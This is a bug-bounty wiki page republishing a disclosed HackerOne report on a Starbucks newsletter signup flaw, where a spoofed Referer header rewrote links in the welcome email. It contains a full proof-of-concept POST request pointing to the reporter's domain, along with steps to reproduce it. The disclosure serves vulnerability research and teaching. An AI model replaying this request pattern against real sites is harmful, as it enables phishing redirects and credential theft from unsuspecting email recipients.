Skip to content
Open redirect Disclosed report Beginner

Host header injection/redirection via newsletter signup

The newsletter signup endpoint used the HTTP Referer header to build links in the welcome email, so an attacker could set the Referer to an outside domain and have the email's logo link point to a malicious site. A recipient clicking the logo in the welcome email would be redirected to the attacker's page, which the reporter says could be used to steal credentials.

b3nac Follow

Originally disclosed on HackerOne

  • Triaged in 19 days
  • Fixed in 13 months
  • Paid in 19 days
  • Disclosed after 13 months

Good evening,

There's a host header injection vulnerability via all newsletter signups in the referrer attribute. This works with all pages that have "Join our email list" signup boxes.

####Since the referrer attribute can be changed to an outside domain the email being received redirects all links within the "Welcome to Starbucks" email. So in result the member is redirected to a malicious site from the email they used.

The Starbucks logo redirects to the referrer url. I can make another directory for the other links to redirect perfectly with the session cookie name.

###POC:

I sent this post request to a test email:

Host: rewards.www.starbucks.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://r1otnetsec.herokuapp.com/
X-NewRelic-ID: VQUHVlNSARACV1JSBAIGVA==
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 66
Cookie: ███████
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

Post body:

[email protected]&newsletter_placement=footer

The resulting response:

Cache-Control: private
Content-Type: application/json; charset=utf-8
Server: Microsoft-IIS/7.5
p3p: CP="CAO PSA OUR"
Set-Cookie: ASP.NET_SessionId=███████; domain=.starbucks.com; path=/; secure; HttpOnly
x-newrelic-app-data: PxQGUlZUDQIJR1NRBAEEVVUDFB9AMQYAZBBZDEtZV0ZaCldOfDdwTSFmdA4IF0pcXAgEEBhhRQkHVEVAJAkRDxJOCEwIFAQcA1EKVgVTBE5UGhVUUlQOBwMgJVQEcwZTIHUUHwQHDxFVPw==
X-Powered-By: ASP.NET
x-frame-options: SAMEORIGIN
Date: Thu, 18 May 2017 02:53:52 GMT
Content-Length: 457
Via: 1.1 sjc1-10
[email protected]&newsletter_placement=footer

###The referrer attritube is encoded and sent to the victims email.

###As a result my url https://r1otnetsec.herokuapp.com/ is sent in place of the normal starbucks url. Clicking the image url sends the user to the malicious page.

Please refer to the screenshots of the email links being changed. This makes it very easy to steal customer credentials by redirect.

I look forward to hearing from you and have a good evening!

Attachments

PostRequest200okStarbucksHeaderinjection.PNG
PostRequest200okStarbucksHeaderinjection.PNG From the original on HackerOne
StarbucksVerifyEmailAddressPOCImageLink.png
StarbucksVerifyEmailAddressPOCImageLink.png

The original report as published on HackerOne, by b3nac. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the application trusted the client-supplied Referer header when generating absolute links in the welcome email, instead of using a fixed configured base URL.

Impact

A recipient of the welcome email who clicks the logo could be redirected to an attacker-controlled site, which the reporter says makes it easy to steal customer credentials.

What the attacker needed

Ability to send a crafted signup request; victim receives and opens the welcome email; victim clicks the logo link

How it was found

  1. Send a newsletter signup POST request to the endpoint with a test email address.
  2. Set the Referer header to an attacker-controlled domain.
  3. Screenshots show the email links changed to the attacker domain.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When you sign up for a newsletter, the website sends you a welcome email with links back to the site. This site built those links from a value the browser sends called the Referer header, which tells the server which page you came from. Because that value can be set by anyone, an attacker could make the email's link point to their own site instead, and a person clicking it would land there.

What is Open redirect?

A trusted site forwards users to any address an attacker picks; rarely paid alone, often the missing link in a chain.

More by b3nac

View all

6 more disclosed reports, best first.

More from Starbucks

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Open redirect

The lesson behind this report.

A trusted site forwards users to any address an attacker picks; rarely paid alone, often the missing link in a chain.